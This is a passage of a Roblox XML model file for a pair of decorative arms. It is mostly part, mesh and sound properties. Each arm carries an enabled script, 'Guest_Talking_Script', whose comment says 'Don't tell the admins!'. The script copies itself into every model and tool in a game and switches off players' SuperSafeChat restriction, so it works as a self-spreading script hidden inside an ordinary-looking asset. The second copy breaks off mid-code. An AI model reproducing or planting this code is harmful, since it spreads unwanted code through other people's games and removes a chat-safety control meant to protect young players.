						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Arm2</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Part" referent="RBX1694">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1001</int>
						<CoordinateFrame name="CFrame">
							<X>71.500061</X>
							<Y>3.99949527</Y>
							<Z>17.1075211</Z>
							<R00>1</R00>
							<R01>3.31342207e-008</R01>
							<R02>-1.00498494e-013</R02>
							<R10>3.31343202e-008</R10>
							<R11>0.99999994</R11>
							<R12>3.42282895e-008</R12>
							<R20>1.08124908e-013</R20>
							<R21>-3.42280764e-008</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Middle</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>4.92700901e-017</X>
							<Y>-8.26533861e-020</Y>
							<Z>6.43959908e-017</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">1</float>
						<Vector3 name="Velocity">
							<X>-3.25001215e-017</X>
							<Y>-0.00341448025</Y>
							<Z>2.51032954e-017</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="BlockMesh" referent="RBX1695">
						<Properties>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX1696">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">2846wgwjj</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX1697">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">i1n5e0</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX1698">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">w35uvc2q</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1699">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1001</int>
						<CoordinateFrame name="CFrame">
							<X>71.777916</X>
							<Y>3.23547435</Y>
							<Z>16.8984718</Z>
							<R00>2.82062274e-006</R00>
							<R01>-0.555578768</R01>
							<R02>-0.831463933</R02>
							<R10>6.82237714e-006</R10>
							<R11>0.831463873</R11>
							<R12>-0.555578768</R12>
							<R20>1</R20>
							<R21>-4.10548228e-006</R21>
							<R22>6.1356136e-006</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Fist</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.800000012</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX1700">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">3</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1.20000005</X>
								<Y>1.5</Y>
								<Z>1.20000005</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX1701">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1004</int>
						<CoordinateFrame name="CFrame">
							<X>71.0001144</X>
							<Y>4.39952803</Y>
							<Z>16.8984661</Z>
							<R00>-0.831463933</R00>
							<R01>0.555578768</R01>
							<R02>2.82062274e-006</R02>
							<R10>-0.555578768</R10>
							<R11>-0.831463873</R11>
							<R12>6.82237714e-006</R12>
							<R20>6.1356136e-006</R20>
							<R21>4.10548228e-006</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Right Arm</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX1702">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">0</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>0.600000024</X>
								<Y>1.39999998</Y>
								<Z>1</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX1703">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1001</int>
						<CoordinateFrame name="CFrame">
							<X>71.4445724</X>
							<Y>3.73434138</Y>
							<Z>16.8984699</Z>
							<R00>0.831471562</R00>
							<R01>-0.555565715</R01>
							<R02>3.61995944e-006</R02>
							<R10>0.555574477</R10>
							<R11>0.831465304</R11>
							<R12>4.41972134e-006</R12>
							<R20>-5.43649594e-006</R20>
							<R21>9.53198423e-007</R21>
							<R22>1.00000012</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Rist</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="CylinderMesh" referent="RBX1704">
						<Properties>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>0.800000012</X>
								<Y>1.20000005</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX1705">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Guest_Talking_Script</string>
						<string name="Source">--Farvei&apos;s totally awesome script that makes Guests talk
--Please give credit
--Don&apos;t tell the admins!
--Unnote the vaccine if you&apos;d like to remove all copies of this script in your place
if (script.Parent == workspace) then
	function checkForAndSwitch(player)
		if (player.SuperSafeChat == true) then
			player.SuperSafeChat = false;
			wait(5);
			local m = Instance.new(&quot;Message&quot;);
			m.Text = &quot;Press the / key to start typing.&quot;;
			m.Parent = player;
			wait(5);
			m.Text = &quot;Then press Enter to send your message.&quot;;
			wait(5);
			m:Remove();
			m = nil;
		end
		player = nil;
		collectgarbage(&quot;collect&quot;);
	end

	function onChildAddedToPlayers(obj)
		if (obj.className == &quot;Player&quot;) then
			checkForAndSwitch(obj);
			local m = Instance.new(&quot;Message&quot;);
			m.Text = &quot;This Server Supports Talking Guests&quot;;
			m.Parent = obj;
			wait(5);
			m:Remove();
			m = nil;
		end
		obj = nil;
		collectgarbage(&quot;collect&quot;);
	end

	function onChildAddedToWorkspace(obj)
		if (obj.className == &quot;Model&quot;) then
			if (game.Players:playerFromCharacter(obj) ~= nil) then
				checkForAndSwitch(game.Players:playerFromCharacter(obj));
			end
		end
		obj = nil;
		collectgarbage(&quot;collect&quot;);
	end

	function findLowestLevel(obj)
		local c = obj:GetChildren();
		local lowestLevel = true;

		for i, v in pairs(c) do
			if (v.className == &quot;Model&quot; or v.className == &quot;Tool&quot; or v.className == &quot;HopperBin&quot; or v == workspace or v == game.Lighting or v == game.StarterPack) then
				lowestLevel = false;
				wait();
				findLowestLevel(v);
			end
		end

		if (obj ~= workspace and lowestLevel == true and (obj:FindFirstChild(script.Name) == nil)) then
			if (obj ~= game.Lighting and obj ~= game.StarterPack) then
				local s = script:Clone();
				s.Parent = obj;
			end
		end
	end

	findLowestLevel(game);

	game.Players.ChildAdded:connect(onChildAddedToPlayers);
	game.Workspace.ChildAdded:connect(onChildAddedToWorkspace);
else
	local findScript = workspace:FindFirstChild(script.Name);

	if (findScript == nil) then
		local s = script:Clone();
		s.Parent = workspace;
	end
end

--[[function findAllCopies(obj)
	local c = obj:GetChildren();

	for i, v in pairs(c) do
		if (v.Name == script.Name and v.className == &quot;Script&quot; and v ~= script) then
			v.Parent = nil;
		elseif (v.className == &quot;Model&quot; or v.className == &quot;Tool&quot; or v.className == &quot;HopperBin&quot; or v == workspace or v == game.Lighting or v == game.StarterPack) then
			findAllCopies(v);
		end
	end
end

findAllCopies(game);

script.Parent = nil;]]</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX1706">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Arm1</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX1707">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">0000fh</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1708">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1001</int>
						<CoordinateFrame name="CFrame">
							<X>64.5000687</X>
							<Y>3.99948668</Y>
							<Z>17.1075172</Z>
							<R00>1</R00>
							<R01>3.31342207e-008</R01>
							<R02>-1.00498494e-013</R02>
							<R10>3.31343202e-008</R10>
							<R11>0.99999994</R11>
							<R12>3.42282895e-008</R12>
							<R20>1.08124908e-013</R20>
							<R21>-3.42280764e-008</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Middle</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>4.92700901e-017</X>
							<Y>-8.26533861e-020</Y>
							<Z>6.43959908e-017</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">1</float>
						<Vector3 name="Velocity">
							<X>-3.25001215e-017</X>
							<Y>-0.00341448025</Y>
							<Z>2.51032954e-017</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="BlockMesh" referent="RBX1709">
						<Properties>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX1710">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">w9bu5nlka</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX1711">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">gcl2hlra</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX1712">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1001</int>
						<CoordinateFrame name="CFrame">
							<X>64.2223129</X>
							<Y>3.23545241</Y>
							<Z>16.9017067</Z>
							<R00>6.96389407e-006</R00>
							<R01>0.555566847</R01>
							<R02>-0.831470728</R02>
							<R10>7.69292274e-006</R10>
							<R11>0.83147651</R11>
							<R12>0.555557668</R12>
							<R20>1</R20>
							<R21>-9.2572709e-006</R21>
							<R22>3.90947343e-006</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Fist</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.800000012</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX1713">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">3</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1.20000005</X>
								<Y>1.5</Y>
								<Z>1.20000005</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX1714">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1004</int>
						<CoordinateFrame name="CFrame">
							<X>65.0000992</X>
							<Y>4.39958525</Y>
							<Z>16.9017029</Z>
							<R00>0.831471145</R00>
							<R01>0.55556798</R01>
							<R02>4.42958617e-006</R02>
							<R10>-0.55556792</R10>
							<R11>0.831471145</R11>
							<R12>2.15874798e-006</R12>
							<R20>-2.48374181e-006</R20>
							<R21>-4.25587268e-006</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Left Arm</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX1715">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">0</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>0.600000024</X>
								<Y>1.39999998</Y>
								<Z>1</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX1716">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1001</int>
						<CoordinateFrame name="CFrame">
							<X>64.5556641</X>
							<Y>3.73431563</Y>
							<Z>16.9017086</Z>
							<R00>0.831471145</R00>
							<R01>0.55556798</R01>
							<R02>4.42958662e-006</R02>
							<R10>-0.55556792</R10>
							<R11>0.831471145</R11>
							<R12>2.15874775e-006</R12>
							<R20>-2.48374226e-006</R20>
							<R21>-4.25587223e-006</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Rist</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="CylinderMesh" referent="RBX1717">
						<Properties>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>0.800000012</X>
								<Y>1.20000005</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX1718">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Guest_Talking_Script</string>
						<string name="Source">--Farvei&apos;s totally awesome script that makes Guests talk
--Please give credit
--Don&apos;t tell the admins!
--Unnote the vaccine if you&apos;d like to remove all copies of this script in your place
if (script.Parent == workspace) then
	function checkForAndSwitch(player)
		if (player.SuperSafeChat == true) then
			player.SuperSafeChat = false;
			wait(5);
			local m = Instance.new(&quot;Message&quot;);
			m.Text = &quot;Press the / key to start typing.&quot;;
			m.Parent = player;
			wait(5);
			m.Text = &quot;Then press Enter to send your message.&quot;;
			wait(5);
			m:Remove();
			m = nil;
		end
		player = nil;
		collectgarbage(&quot;collect&quot;);
	end

	function onChildAddedToPlayers(obj)
		if (obj.className == &quot;Player&quot;) then
			checkForAndSwitch(obj);
			local m = Instance.new(&quot;Message&quot;);
			m.Text = &quot;This Server Supports Talking Guests&quot;;
			m.Parent = obj;
			wait(5);
			m:Remove();
			m = nil;
		end
		obj = nil;
		collectgarbage(&quot;collect&quot;);
	end

	function onChildAddedToWorkspace(obj)
		if (obj.className == &quot;Model&quot;) then
			if (game.Players:playerFromCharacter(obj) ~= nil) then
				checkForAndSwitch(game.Players:playerFromCharacter(obj));
			end
		end
		obj = nil;
		collectgarbage(&quot;collect&quot;);
	end

	function findLowestLevel(obj)
		local c = obj:GetChildren();
